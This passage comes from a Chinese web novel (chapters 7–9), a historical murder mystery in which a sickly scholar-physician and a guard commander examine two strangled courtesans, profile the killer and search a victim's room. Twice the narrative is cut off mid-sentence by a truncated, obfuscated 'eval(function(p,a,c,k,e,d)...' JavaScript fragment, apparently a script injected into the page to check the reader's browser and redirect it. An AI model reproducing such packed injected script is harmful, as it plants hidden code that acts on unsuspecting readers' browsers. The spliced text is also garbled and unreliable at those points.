“那我不喝水。”秦觅把茶杯推开,恹恹地说,“早上没吃饭,我饿了,要吃好的。” 7. 零零柒 看着这位胆大包天来北镇抚司刑房要饭的漂亮秀才,慕天知多少有点无语。 而且他说话时的情态竟像是在撒娇——不是很明显,也不算做作,但就是能被自己觉察到——是谁给了他这个勇气? 秦觅看到慕天知眼中一闪而过的震惊,心里爽开了花,随即捂着心口微微弯腰,做出一副痛苦的模样:“大人,我有心痹之症,不能挨饿,方才受了惊吓,现在又饿得心慌,万一发了病,传出去对大人影响不好。” 慕天知大约知道,古代心痹笼统地对应现代医学一些心脏方面的疾病,他伸手拉过对方的手腕,指尖在脉搏处轻触,的确感应到了飞快的搏动。 但他依旧怀疑这秦秀才是否真的有什么心痹之症。 若有此疾,那夜为什么那么豁得出去? 难道为了一点欢愉舍得搭上性命? “怎么,大人也懂医术?”秦觅调侃道,“莫非能帮我治好多年顽疾?” 慕天知收回手:“多年?” “当年中了秀才,一时激动突然发病,才知道自己患有此疾。”秦觅垂下眼眸,神情也变得落寞,“四处求医问药,得知是先天疾病,终身难愈,活不长久,是以才没能继续进学。” “也是因为这个,才改学了医?”慕天知问道。 秦觅轻轻点头:“算是吧。大人若是安排人手去调查一下,便知我所言不虚。” “三番两次想让我查你,是何用意?”慕天知眯起眼睛看他。 “三番两次抗拒查我,大人又是为何?”秦觅促狭地说,“怕查得太细、太了解我,将来会难以割舍?” 旁边记录的书记官手中的笔悬停在半空:“……” 慕天知冷笑:“秦秀才倒也不必自视甚高。” “高不了啦!”秦觅软绵绵地趴在桌上,“我饿得要晕过去了。” 慕天知今天亲自上门捉人,的确是存了些逗弄的心思,并不想为难他,见他面色发白唇色微紫,怕是真的不太好,便立刻招呼了个校尉过来。 “去买些吃食。”他从掏出几文钱递过去。 秦觅立刻支起脑袋,方才还眯成细长的眼睛立刻睁圆了,炯炯有神:“我想吃方才街口那家卢记馄饨,还有他家隔壁的小笼包,要肉馅的;小笼包对面还有卖豆腐脑和油条的,能不能都来一份?豆腐脑要咸卤,但少放点,我口轻。” “你还点上菜了?”不知道他路上竟还有工夫记菜单,慕天知冷淡道,“知道现在身在何处吗?” “不知道,我饿晕了,只知道我面前有个愿意请人吃饭的好心人。”秦觅立刻又趴回胳膊上,眨巴了两下眼睛,可怜巴巴地看着他,“难得来内城,这里的小吃一定比我们外城要好,想多尝些。” 慕天知又掏了一把铜板递给跑腿的校尉:“按他说的买,多买点。” “不用了不用了,这些我都吃不完呢!”秦觅连忙道。 慕天知没搭理他,起身走了。 一炷香之后,梅淼和窦家兄弟齐聚镇抚使大人的办公邸,跟大人和秦秀才一起共进——用自家大人的话说,叫早午餐。 美食琳琅满目摆了一桌子,谁也没顾上发问,几个少壮就开始狼吞虎咽起来。 慕天知用余光看了眼身边坐的病弱秀才,发现此人实在是眼大肚子小,点了那么多,还以为是个饭桶,谁知道吃相那么斯文,连梅淼都能一口一个的小笼包,他却得分三四口,每口还得嚼好一会儿才往下咽,照这速度,吃不了多少就饱了。 “怕吃快了塞牙是么?”他揶揄道。 秦觅笑笑:“不是,吃快了容易心悸。” 慕天知便不言语了,闷声咬了一口油条,“咔嚓”一声,脆脆的。 秦觅也偷眼看他,本以为这有几分糙汉姿色的镇抚使大人吃饭也会狼吞虎咽,没想到跟小时候一样,还是那么优雅。 分明是同一个人,为什么现在不记得我了呢? “世子——”窦坤刚一开口,就见慕天知的眼睛斜了过来,立刻改口,“大人,既然秦秀才不是凶嫌,接下来我们该往哪个方向调查?跟傲霜和寒柯都有仇的人吗?” 梅淼放下筷子,掏出帕子擦了擦嘴:“我觉得就是平日里看不起小倌的人干的,本来像叫花子、青楼女子、小倌这种行当就容易成为别人的出气筒,反正贱命不值钱,杀了几个官府也不会好好追查,哪怕这次傲霜死状这么蹊跷,都四五天了,顺天府还不是没有任何进展。” “‘看不起小倌的人’,这范围可就大了,上哪儿查去?”窦乾也吃完了自己面前的食物,抹了一把嘴巴,“我觉得还得从两人的人际关系查起,恰好都是南风馆小倌,恰好都曾当过院首、红极一时,也算有共同点,没准是嫉妒他俩的同行。” 窦坤抹完嘴,两只油乎乎的手往兄长衣袍上一擦,被一把推开之后,嘿嘿笑了两声,接过方才的话头:“我倒不觉得是同行,他们同行都是弱不禁风的人,跟秦秀才似的这么瘦,哪个有本事能这么干脆利落地勒死一个人,还要费劲巴拉地把人扛到楼下,这很需要体力啊!” “万一凶手有两个人呢?一个记恨他俩的小倌,指使自己最信赖的龟公或者护院。”梅淼说。 窦乾摇摇头:“这两家南风馆的龟公不是小孩就是矮子,我看不像,护院也很牵强,现在死者分别属于两个南风馆,嫉妒这个理由就不能成立——杀了他俩能显出谁来?” “我还是倾向于凶手只有一个,这样保密性更好。”窦坤说,“只需要我和我哥这样身形的成年男子,偷偷摸进小倌们住的楼里,把他们勒死再扛下楼,借着凌晨大雨掩饰安置尸体,之后溜之大吉,神不知鬼不觉!” 三人热热闹闹地讨论了一会儿,不约而同把目光转向了慕天知。 梅淼满怀期待地问:“大人,你觉得呢?” “顺天府查得不够仔细,现在很难下定论,我们须得重新一一核对。”没有把握之前,慕天知不会胡乱猜测,“凶手不仅杀了傲霜,短短几天内还对寒柯下手,事后并没有留下多少痕迹,至少能证明他胆大心细,做事狠辣还非常有条理,绝不是无脑之人。” “至于凶嫌人数,现在也不能武断,或许体力和头脑集中于一人身上,也有可能幕后策划者和执行者关系紧密,买凶杀人的可能性依旧存在。” “再者,凶手显然对两名死者有着强烈的个人情绪,爱也好恨也好,一定是跟他们过从甚密的人,即便此人不在场,也不能排除嫌疑。所以,接下来的调查方向是把两人人际关系网查出来,看看有没有交叉点。” 窦家兄弟和梅淼立刻听命:“是,大人。” “秦秀才对本案还有什么高见?”慕天知转头问早已停止进食的秦觅。 秦觅听着方才他们你一言我一语,独自在脑袋里转起了念头,没想到会被点名提问,怔了一怔:“问我吗?” “你不是说过可以帮我破案?”慕天知打趣道。 秦觅惊喜地看着他:“我可以跟着你一起查?” “看你表现。”慕天知似笑非笑。 “那我可得谨慎发言。”秦觅坐得端端正正,后背挺得笔直,“能先看眼尸体再说吗?” 慕天知的目光在他脸上来回逡巡了一圈:“刚吃完东西就去看尸体?你可受得住?” “不会给大人添麻烦的。”秦觅眉眼弯弯,一副为了想参与查案刻意讨好的模样,“到底我是个郎中,也算见多识广。” 慕天知站起身:“大豆小豆,你俩带人按我方才的思路,把东篱院和竹影阁的人全都盘查一遍,重点关注跟傲霜和寒柯关系比较近的客人,听说包了傲霜的那个孙昶已经回京,你们去找他问话。梅淼,跟我和秦秀才去找戚鸾音。” “戚鸾音是谁?仵作吗?” 跟着慕天知前往北镇抚司后院走去的路上,秦觅小声问梅淼。 梅淼性子爽利,跟谁都自来熟,又见自家大人并未阻止,便知无不言言无不尽。 “戚姐姐是北镇抚司第一女仵作!其实我觉她在曜京也能排在前三甲,但她不让我这么说,只说人外有人天外有天,牛皮吹得太大容易得罪人,不利于和其他衙门合作。”大姑娘头头是道地说,“反正她的本事你就比吧,绝没有能强过她的。” 秦觅点点头:“镇抚使大人培养女子入北镇抚司的事我也曾有所耳闻,他看中的人,一定潜力非凡。” “那是人家的本事,没必要拍我马屁。”走在前边的慕天知冷淡道。 他走到一处院子,直奔角落里的小屋,敲门后便推门而入。 秦觅好奇又兴奋地从他背后探出头,看到了一个略显阴森的房间。 这里应该是仵作的值房,地方不大,采光也不太好,一搭眼过去满眼都是东西,感觉十分拥挤。 靠墙的书架顶天立地,每一层都堆满了册子和书卷;书桌上摆放着各种笔墨纸砚,旁边的卷缸里塞满了卷轴;另一边一人多高的架子上则摆着一些奇奇怪怪的东西,细看过去有一些摆出了各种姿势的小人玩偶;再有一个角落里放了两具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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慕天知带头离开了值房,秦觅连忙跟上,便见他走到院中一处青草茂盛之地,半蹲下去敲了敲地面,随即拉开一扇小门——原来此处是地窖。 “戚鸾音?”慕天知对着深不见底的台阶喊道。 地窖到底是比外边凉快些,秦觅站在旁边,明显感觉到下边泛上来一股寒意。 地窖中传来更寒凉的女子声音,听起来还带着点回音:“在,下来吧。” 下到台阶的底端,秦觅才发现,这不仅是一处地窖,更是一处冰窖,周围摞满了硕大的长条形冰块,空隙里放着几张长案,案上分别摆放着被白布盖着的尸体。 除了傲霜和寒柯的,应当还有其他案件的涉案者。 在另一处案前站着一名女子,应当就是梅淼口中的“第一女仵作”戚鸾音。 与梅淼身着男装款式的公服曳撒不同,戚鸾音是女装打扮,颀长的身形穿着一件灰蓝色的竖领对襟衫,下摆露出月白色的素面马面裙,肩膀上挂着襻膊,正在忙活着…… 捣冰块? 只见她咔嚓咔嚓把冰凿碎,从臼子里倒入碗中,又打开旁边一个小罐子,从里边舀出了几勺鲜红似血的粘稠液体浇在上边,放上一支调羹,转头向他们递了过来:“杨梅碎冰,吃吗?酱是我自己熬的。” 虽然鼻端嗅到一股鲜甜,但在这冰窖阴暗的烛光下,秦觅总感觉那杨梅酱看起来邪门得很。 冰窖里冷得酷似寒冬,他这身子弱的,觉得从地面上带过来的热气早就消耗殆尽,骨头缝里都被凉意渗透,此刻对寒凉之物毫无食欲,于是他笑笑摆了摆手:“戚仵作手巧,闻着就很香,但我——” “唔,你身体不好,还是少吃凉的。”戚鸾音打量了他几眼,把碗递向慕天知。 秦觅本以为,看起来不苟言笑的镇抚使大人会在下属面前保持庄重的模样,谁知慕天知非常自然地接过碗,用调羹搅拌均匀,吃了一口,还很认真地点评:“我就说放了香橼汁会比白醋香!” “是啊!”戚鸾音点头道,“多谢大人支招。” 秦觅越发愕然,忍不住问道:“大人对庖厨之术还有心得?” 至少十年前还不会。 “我们大人可不仅有心得,手艺还不错呢!有时候外出办差能吃到他烤的肉,真的香掉舌头!”梅淼主动拿过冰锥,笑嘻嘻地对戚鸾音说,“我自己来啦!” 秦觅转头看向慕天知,就见对方送了一大勺冰进了嘴里,炫耀似地看了过来。 好好好,镇抚使大人也如此幼稚是吧? 8. 零零捌 片刻后,端着三碗碎冰的三个人和一个没得吃的秦秀才站在了陈放着傲霜和寒柯尸体的长案中间。 几日来,傲霜一直被存放在顺天府的冰库里,目前看来尸身尚算完好,没有出现明显腐化;寒柯刚刚身亡,双目紧闭,尸体呈现灰白色。 想到昨晚对方还鲜活地在自己面前发脾气、扔扇子、唱曲儿,转过天来就成了这样一具了无生气的尸体,秦觅的心就忍不住地发痛。 “跟傲霜一样,寒柯的死亡时间也是寅时初到寅时末,致死原因都是窒息,从印记来看,凶器应当都是草绳。寒柯喉咙处有两处明显的勒痕,一处位于喉结之下,蜿蜒到后颈有交叉痕迹,一处循着下颌线往上走,说明死者是被勒死后挂在树上的,除此之外没有其他外伤。”戚鸾音单手指向寒柯的面颊,“但不同的是,这位死者被人打过耳光,脸颊上留有明显的指痕。” 掌印在寒柯脸上显得分外明显,看得出是左右开弓,被打了不止一巴掌,印子反复重叠。 秦觅伸手比划了一下,印记跟他的手差不多大小,很难以此来判断打人者的身形。 “昨夜我走之后,寒柯还与人起过争执吗?”他转头问慕天知。 梅淼快人快语地接口道:“问过宋喜了,他说你走之后寒柯也很快就寝,没有访客到来,在他房间左右住的小倌也没有听见过争吵声和意外响动,这伤应该是凶手造成的。” 秦觅喃喃地自言自语:“打耳光,很侮辱人了。” “除了这些,他口唇处也有伤痕。”戚鸾音用自己手里调羹的另一头小心翼翼地挑开了寒柯的下唇,给他们展示内侧细小的伤口,“根据痕迹判断,像是曾经被人用力掰开过嘴巴。” 梅淼疑惑道:“这是干什么?既没有往他嘴里塞东西,也不是要勾他舌头。” “有可能是死者咬掉了什么可能会暴露凶手身份的东西,吞了下去,所以他们掰开他的嘴试图取回来,不知道得没得逞。”一直没作声的慕天知突然开口。 秦觅扭头看他,这吃相斯文的镇抚使大人吃碎冰倒是很快,已经把吃干净的碗放在了一边。 戚鸾音点点头:“我也正有此猜测,打算一会儿剖开他的胃部看一看,稍后也会再复验一下第一位死者。”她托起了寒柯的手,重点展示已经抓秃了的指甲,“两人的甲缝里都有一些草屑、皮屑和污泥,但我同顺天府仵作的想法不同,我觉得那些皮屑是他们自己的,并非凶手的皮肤被抓伤。” 她指向尸体脖颈处的抓痕:“喏,这能对得上。” “这个有道理!”梅淼立刻响应,模仿出被人箍住脖子的模样,“如果我被人勒住,首先会试图弄松绳索,不免会抓伤自己颈部的皮肤。”她的手又往颈后抓去,“弄不松脱才会伸手去抓挠行凶之人,但这个时候可能没有那么大力气了,这个角度也不好用力。” 慕天知看着她的动作:“如果凶手是有备而来,不排除可能戴了手套,是以先前顺天府排查时并没有发现手被抓伤的人。” “如果是手套,应该是很脏的手套,不然没办法解释寒柯甲缝里的污泥,他很爱干净,指甲不会这么脏。”秦觅补充道。 看着眼前两具尸体,他心中始终无法平静。 毕竟这两人,他都太熟悉了。 他们俩都曾掏心掏肺地跟他聊过许多不愿为外人道的隐秘心事,于他而言,他们就像是无话不说的老朋友,哪怕生活上没有那么亲密,但心里却贴得很近。 他还没能消化完傲霜的死,没想到就迎来了寒柯的告别。 就算是两人都想摆脱这一世的悲惨命运,老天就连一个体面的结束都不肯赏给他们吗? 突然一只大手落在了他的肩头,轻轻拍了拍,耳边响起慕天知的声音:“秦秀才,请节哀。” 秦觅抬起头,冲他莞尔一笑:“多谢大人关心。” 那双眼睛弧度弯得像月亮,却并没有多少笑意。 “从傲霜的死状上来看,我觉得凶手对他足够关爱,就连魄门塞物,比起羞辱,更多的像是怒其不争。”秦觅低声道,“可是傲霜并没有得到同样的对待,凶手对他由始至终都是嘲讽和侮辱,但或许出于相识,还是用白布为他稍稍遮挡了一下。” “确实,他的魄门划伤程度和塞物数量都比傲霜要严重很多,暴力程度更高。”戚鸾音认同道。 慕天知若有所思:“我怀疑凶手并不算是个强壮的人。” “为什么?不强壮的话能毫不含糊地勒死两个人?还把第二名死者挂在树上?”梅淼显然不信,“没一把子力气可做不到这一点。” “不同于情杀、仇杀、灭口和夺财等有明确目的的杀戮,这样的连环杀人,显然是凶手在表达自己的情绪和态度。”秦觅眼前仿佛出现了傲霜和寒柯分别被勒死的画面。 暴雨交加的夜晚,房间里黑洞洞的,两人本来在床上安睡,屋里却突然进来了一个黑影。 可惜由于雨声太大,他们谁也没能听见,被一根草绳套住了脖子,惊醒之时已经成为别人的囊中之物,不管他们怎么拼命挣扎,戴着手套、死死勒住他们的那双手都不曾放开过。 渐渐两人在床上拼命蹬踹的脚不再动弹,双手绵软地垂下。 凶手弯腰,将尸体扛上肩,带出了房间。 傲霜被脱去了衣服,放在地上被暴雨冲洗,等到天将亮时,一张薄薄的白布将他从头到脚盖了起来。 而寒柯却被用绳子直接吊在了树上,凶手将他的衣服扒光,只在隐私部位系了一条遮羞布。 “这在寒柯的尸身上表现得更为明显,盖住前边,却露着后面,很显然是为了等天亮之后,让更多的人能看到魄门里塞的金银珠宝。”秦觅声音发紧地说,“凶手没有去杀没有名气的小倌,因为他们都是身不由己,而傲霜和寒柯,都曾当过院首,都曾红极一时,在凶手看来,他们有足够的钱财为自己赎身,离开南风馆,去过有自尊的人生,却因为不舍得穿金戴银的优渥生活,甘愿当男人的玩物!” “魄门是他们用以谋生的‘工具’,金银财宝是他们不知上进的原因,把这些东西塞进那里,就是凶手对他们最残忍的嘲讽,展示出来,是为了让世人一起参与审判!” 秦觅的声音不大,他说的话却足够振聋发聩,在这安静的冰窖里震颤了每一个人的耳膜。 本就表情淡淡的慕天知和戚鸾音垂眸看着尸身,梅淼则下意识地抱紧双臂,扒拉着窜起来的鸡皮疙瘩。 她忍不住小声道:“这凶手,也、也太霸道了吧?就因为看不惯别人的生活,就要杀人?” “总有人自视甚高,觉得自己有资格审判别人。”秦觅接着说,“凶手看起来很暴力,实际上又没有过度杀戮,他所做的一切显然更情绪化,如果是这样的话,那他应当是一个并不擅长武力的人,因为擅长武力又要宣泄情绪的人,会本能诉诸武力。” 梅淼点点头:“对哦,不管是什么人,都会用自己最擅长的方式解决问题。如果凶手很强壮很能打,那他肯定会有更激烈的方式去表达他的嘲讽。” “比如我曾经胡言乱语说割去男子器官,或者用刀把脸划花,都能表示讽刺,但凶手都没这么做,打耳光虽然有近似的意思,却更像是私仇,是对寒柯本人的羞辱,并非审判。”秦觅道。 戚鸾音疑惑地说:“如果动机和行动这般前后矛盾的话,这说明……” “真凶应该有两个人。”秦觅笃定道,“勒死他们的不过是打手,真正对傲霜和寒柯情绪复杂的,另有其人!” 鉴于之前大家有过这样的猜测,梅淼丝毫没有怀疑,立刻附和道:“对,有道理!” “也不见得那么有道理。”慕天知突然道。 秦觅忍不住问:“方才可是你提出的疑问——” “那也只是疑问,并不代表你给出的解释就是事实。”慕天知冷淡地说,“尽管能自圆其说,却没有证据支持,如果盲目按照这个方向去查,耽误了时机谁来负责?” 在现世里,他传统刑侦出身,笃信证据和线索,秦觅神神叨叨说的这些跟他以前看不习惯的犯罪心理分析极为类似,很难令他信服。 古代甚至没有这门学科,这秀才尽管聪 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坐在后边果然自在多了,这位镇抚使大人的肩背很是宽阔,光看着就让人觉得很安全。 慕天知自己体温高,夏日更甚,方才在冰窖也只是觉得温度正好,返回地面上很快就热了起来,但刚才抓住秦觅的手,就觉得自己好像是握住了一块冰。 这人身体是真的不太好。 “抓好,我要跑马了。”他偏头低声道。 秦觅端详了一下他的后背,最后决定抓住他的腰带:“好了。” 慕天知感觉腰上紧了一下,微微勾了勾唇角,两腿一夹马腹:“驾!” 矫健的骏马隐夜甩开修长的四蹄,飞一般地向前奔去。 梅淼也策马跟在了他们身后,不到一盏茶的时间,他们就抵达了目的地。 曜京外城的白天向来繁华喧闹,但此刻的胭脂巷却格外肃穆沉寂,仿佛城市的这一部分彻底死掉了。 到得近前,秦觅就看见了有都衍卫在四周守卫巡逻,还有若干人直接上了屋顶,便于瞭望。 “大人,是你派人守着的?”他问道。 同乘一匹马,离得再远也远不到哪里去,慕天知简直觉得这声音是贴着自己的耳朵发出的,清润透亮,像是水滴落入甘泉,听着无比熨帖。 他勒停了马,等秦觅下去站稳,自己才下去:“让人守住了几处入口,加强夜间巡逻,避免命案再度发生。” 胭脂巷不仅仅是一条巷子,是这片烟花之地几个巷子联合起来的称呼,大约有七八条纵横交叉的小巷被囊括其中,出入口也有三四个,现下有都衍卫守住,至少能给人一些安全感。 虽然发生了第二桩命案,但巷子里的百姓倒是不像上次那么紧张,大家该摆摊的摆摊,该喝茶的喝茶,时间快到中午,各种小饭馆里人也多了起来。 时不时有议论声传入耳朵: “我看只要晚上不下雨,咱这边就安生!” “是啊,雨夜杀手只会下雨的时候才现身。” “现身也不怕,反正他只杀那些小倌,不动咱们清白人!” “我就不信现在有都衍卫守着,他还敢动手!” “……” 同住胭脂巷,附近百姓对青楼的姑娘、南风馆的小倌们没什么看不上的,尤其是在这边开买卖的小商户,正是靠这些所谓下三滥的产业才能够招徕顾客,算是彼此养活,大家相处甚欢。 然而到了这种时候,就算无心之言,也能听出来他们心中仍旧对这些人有成见。 纵然早就明白这个道理,但听到这样的话,秦觅心里还是分外别扭。 人家命都没了,还要这么说吗? “秦秀才。”旁边传来慕天知的声音。 秦觅转头看过去:“嗯?” “我有个疑问。”慕天知道,“傲霜是红倌人,出卖身体,被人包养,凶手却对他表现出了更多的怜悯,寒柯是清倌人,相比之下还算‘干净’,何以凶手对他更加反感?” 9. 零零玖 这本是一个普普通通的问题,完全可以直接回答,但秦觅打算使个小坏。 他促狭地笑了笑:“大人不信我先前对凶手想法的揣测,又为何问我这样的问题?” “好奇,不行吗?”慕天知面无表情道。 “对我的想法好奇,还是对凶手的想法好奇?” 慕天知面上古井无波:“我都行,秀才可随意选一个自己喜欢的答案。” “大人是在害羞吗?对我感到好奇没什么不好意思的。”秦觅眼睛弯起的弧度更深。 镇抚使大人便不言语了,沉默地向前走着,安静的街道上只听得见马蹄缓慢的哒哒声。 梅淼插嘴道:“秦秀才你和我们大人之前认识吗?早上去你家的时候,大人都没有问过你的住址,再听你俩说话,感觉你们挺熟悉的。” 说完之后,感觉旁边一片死寂,炎热的夏天,后背却吹来一股小凉风。 “不算熟悉,没说过几句话。”秦觅莞尔。 那天晚上确实谁都没怎么出声,只有粗.喘和低.吟。 梅淼疑惑地“哦”了一声,又像是自己想明白了什么,点点头:“看来是一见如故了。” “有这工夫多琢磨琢磨案情,别在这里胡乱揣测上官。”慕天知目视前方,“第一桩命案发生时,这位秦秀才就被扣在了东篱院,我去查看时与他谈了几句,掌握了一些情况。” 梅淼恍然大悟:“这样啊。那天我没跟着,难怪不知道。” 秦觅没吭声,心里直乐。 欲盖弥彰啊,镇抚使大人,心虚了吧? “先前跟大人提过,我觉得凶手对傲霜的感情很复杂,又爱又恨,应当是对他觉得很亲近的人——但这种亲近未必是双方共识。”他没再继续打趣,把话头带回了正题,“可能他只是一个常来东篱院的客人,或许早就在角落里默默注视了傲霜很久,也可能是附近任何一个跟傲霜有过往来的人。” 慕天知接口道:“由于这份躲在暗处的长久关心,让此人过分投入,哀其不幸,恨其不争,于是下手杀人,是嘲讽,是审判,也是让傲霜解脱?” “这是我的猜测。”秦觅笑笑。 慕天知觑了他一眼,给他一个“别以为我不知道你在阴阳怪气”的眼神。 梅淼对此一无所知,惊讶于秦觅描绘的画面,感叹:“真可怕,傲霜可能都不知道有这样一个人在关心他?总觉得好像在被人偷窥似的。” “不好说,这种过分关注可能出现在每个人身上,但产生的效果和观感完全不同,就像一个少女暗恋着一个出色的少年,为他的欢喜而欢喜,为他的忧伤而忧伤,独自伤神,写在话本子里,会是一个缱绻动人的故事。” 秦觅负着手,缓缓向前走着:“但如果一个男子暗恋一名女子,为了见到她而无所不用其极,不仅跟踪、偷窥,还匿名写情信送去人家家里,今天说‘方才在首饰店看到你,你戴那支牡丹花钗很美’,明天说‘看到你出门的时候咳嗽了几声,一定要注意休息’,或者说‘过几日我还来看你’。尽管都是关心之言,可这就太令人毛骨悚然了。” 他的声音低缓,说话虽然态度悠闲,但声线与平日里讲话完全不同,娓娓道来,颇有一种将人代入所描述的情境那种本事。 慕天知听着微微皱眉,不由看了他一眼。 这秀才,很会蛊惑人心。 “妈呀,秦秀才你说的这个太吓人了!我起了一身鸡皮疙瘩!”梅淼忍不住“嘶”了一声,在身上挠了挠,“男子与女子能造成的伤害完全不同,这种事角度一换,怀春秘事立刻变成了恐怖故事!” 秦觅笑笑:“每个人偶尔都会沉浸在自己的幻想中,但总有人控制不了自己,做出一些过分的事情。” “如果这个凶手是傲霜不知名的仰慕者,那他对寒柯又是什么样的态度?打耳光这种动作不像审判,像是有私怨。”慕天知追问。 “这得说回他们俩之间的性格。”秦觅淡淡道,“傲霜虽然名字里有个‘傲’字,但此人性子温柔,心地善良,对所有人都很好,从未与人结仇结怨,与他相比,寒柯的性子就高傲得多。” “他从小就被卖入南风馆,比别人都要用功学艺,为的就是让自己有底气,能凭技艺一直做清倌人,等他当了院首之后,惦记他的人更是趋之若鹜,但他一概拒绝,对人也比较冷淡,话不投机就不再往来,无形当中得罪不少人。” “竹影阁的老鸨一直打算着把他的初夜卖个好价钱,但他一直不肯,老鸨便扣住他大部分的赏钱,免得他生出偷跑或者赎身的想法。昨夜我们还聊过这件事,他也表露出些许无奈,但看样子打算抗争到底。” 梅淼立刻道:“这种秘辛是不是只有他比较亲近的人才知道?” “是的。”秦觅叹息,“那么有傲气的人,不会轻易让人知道自己被人攥在手心里。” 大姑娘惋惜地说:“可这在凶手眼里,却成了他自甘堕落的证据!凶手一定觉得,寒柯贪图钱财,明明是清倌人,还不赶紧想办法离开这种风月之地,肯定是想让自己待价而沽,只要价钱合适,将来早晚也会出卖自己的身体!” “凶手自视过高,又过分沉浸在自己脑海中的构想,他怎么想都不奇怪。”秦觅无奈地摇了摇头。 三人走到了竹影阁的门口,慕天知把马缰绳扔给在外边守着的北镇抚司都衍卫,跨入院门:“所以这个凶手,应该是经常在东篱院和竹影阁出现的人,很可能对傲霜表现出过多的感情,又跟寒柯有过冲突,可以从这两方面交叉排查。” “可这就难了,人人都喜欢傲霜,而跟寒柯发生过口角的又不在少数。”秦觅无奈道。 慕天知板着一张脸:“查案哪是那么容易的事?又不是动动嘴皮子就完了,更多的工夫都是用在这种枯燥乏味的筛查当中,秦秀才嫌麻烦,现在就可以回家。” 态度之严厉,把梅淼都吓了一跳,吐了吐舌头不敢说话。 秦觅倒是丝毫不恼,他觉得挺愉快,因为短短半天的相处,他就对慕天知了解到了更多。 小时候亲切和蔼的小烽哥哥,果然与传闻一样,性情大变,变得不苟言笑,表面看起来冷漠疏离。 但偶尔还是会露出一点顽皮与好胜,与当年并无二致。 年纪轻轻就当上北镇抚司镇抚使,难免要装相摆谱,让让他好了。 于是他连忙拱手作揖:“小生全听大人差遣,绝不会有丝毫怨言。” 慕天知:“……” 竹影阁现在又热闹了起来,楼里楼外、院子里都是人,有不少北镇抚司的总旗小旗带着低级校尉在盘问这里的老鸨、龟公、小倌还有护院,每一个人都不会放过。 所有人看到镇抚使大人亲临,都马上立正行礼,慕天知跟他们一一点头,径直往楼里寒柯房间的方向走去。 秦觅本在努力控制伤感的情绪,但走进熟悉的走廊,看到昨晚才来过的房间,想到几个时辰之前还生机勃勃的人,又是忍不住一阵心酸。 师父总说他感情太丰富,太容易代入别人的感受,很不利于他做郎中,本来就有心痹之症,若是见了生老病死都要替人伤神,那就是给自己增添负累。 但他别无所选,既然不再继续考功名,总要学些技艺维持生计,师父是郎中,自己也做郎中好了,以这条活不长久的小命,多帮助几个人,哪怕自己背了满身负累,也算是积攒功德。 不为多活几年,只盼望父母能够转世投生到一个好人家,再也不要遭受苦难折磨。 “宋喜?!你跑什么?!”前边的梅淼突然喊了起来。 秦觅抬头看过去,就见少年面露怯意地从走廊拐角后边露出个小脑瓜。 梅淼招呼他:“你过来,我们要查看寒柯的房间,有什么问题会随时问你。” 宋喜怯生生地走到他们面前,先对慕天知和梅淼行了礼:“见过两位大人。”然后低声喊了声“秦大夫”,低着头不敢和他对视,表情分明是心虚。 “怕什么?我又不怪你。”秦觅摸摸他的后脑勺,“你对官府实话实说是对的,镇抚使大人明察秋毫,自有决断,现在已经证明了我的清白。” 宋喜惊喜地抬头:“真的?!其实后来我想了想,就知道不是你干的,你跟我们公子关系那么好,没有理由杀他!” “那我昨天说的那番话,你可曾跟别人提过?”秦觅温和地笑道,“我知道你经常跟别人分享见闻。” 到底是活泼好动的少年,随口什么都能往外说,这也是寒柯很少跟他说心里话的原因。 宋喜不好意思地挠挠头:“我是嘴碎了点,但你昨天说的话我还没来得及、呃,我还没跟人说过。” “真的没有?”秦觅深深地看着他。 少年认真想了想:“没有!昨天我本来要给你们端绿豆汤来着,下了楼遇上了陈茂,跟他聊了一会儿傲霜公子,就带他上来借琴,你们走了我就打水给公子洗澡,公子就寝之后我也回去睡了。睡觉之前本来是要聊天的,但不知道为什么,我总是心里不安生,就没跟他们说话,过一会儿迷迷糊糊地就睡了过去。” 他越说越沮丧,郁闷道:“要是知道这不安生是因为公子,我说什么也得过来看看。” “别自责,这事儿和你没关系。”秦觅温声道。 慕天知安静听完,转身走进了寒柯的房间,问道:“宋喜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦觅不由好奇,以前的小烽哥哥是善良,但一个从小在锦绣堆里长大的世子,何时开始如此注意女子福祉了? 这十年间发生过什么? 吴姓小旗拱手道:“禀大人,属下仔细盘问过了,案发的这段时间里,由于大雨倾盆,天气凉爽,左邻右舍的小倌都在熟睡,表示没有听到动静;值夜的护院本应守住入口,但由于雨势太强,他们都到另一处去躲雨,等雨势小了些才回来,是以没有发现有人进出。不过有一名护院曾表明看到过地面上有鞋印,起初以为是自己人留下的,便没在意,后来听说出了命案,才意识到可能是凶手的。” 她从怀里取出了一张折起来的纸,摊开展示,上面是用炭条画出的草图:“这是脚印的大小。” 慕天知接过去端详,秦觅和梅淼一左一右伸过头去看。 “确认不是他们自己的?” “让值夜的两个护院比了一下,都不是。” 梅淼张开两手虎口比量:“嚯,这个大脚,凶手个子不矮吧?” “应该在五尺四寸在五尺六寸之间(注)。”慕天知沉吟道,“但不能盲目根据脚码断定。” 秦觅好奇地抬手比划了一下他的身高:“大人是不是有五尺五寸?” 慕天知看了他一眼:“和我有什么相关。” “没什么,我就问问。”秦觅好脾气地笑笑,“我有五尺二寸,在家乡已经算个高的,大人比我还要高半个头,实在是威武强壮。” 慕天知:“……”他把印着鞋印的纸折好递回给小旗,“护院什么时候返回门口的?后院树下被吊了个人他们不知道?” “他们只顾守着入口,没留意后院的动静。”吴姓小旗无奈道,“暂时没有其他发现。” 慕天知点点头:“无妨,继续追查便是。” “也不算完全没有收获,至少我们能确定,凶手是从外边进来的,还有——”秦觅突然顿住,弯腰掀起了一侧床单,露出了床下方留有一条缝隙的小抽屉。 他抬头跟慕天知对视了一眼:“这是寒柯藏体己钱的地方,连宋喜都不知道。” 宋喜惊讶:“我真不知道公子把钱藏在这里。” 慕天知半蹲下去,伸手拉开了那个比拳头大不了多少的抽屉,里边已经空空如也。 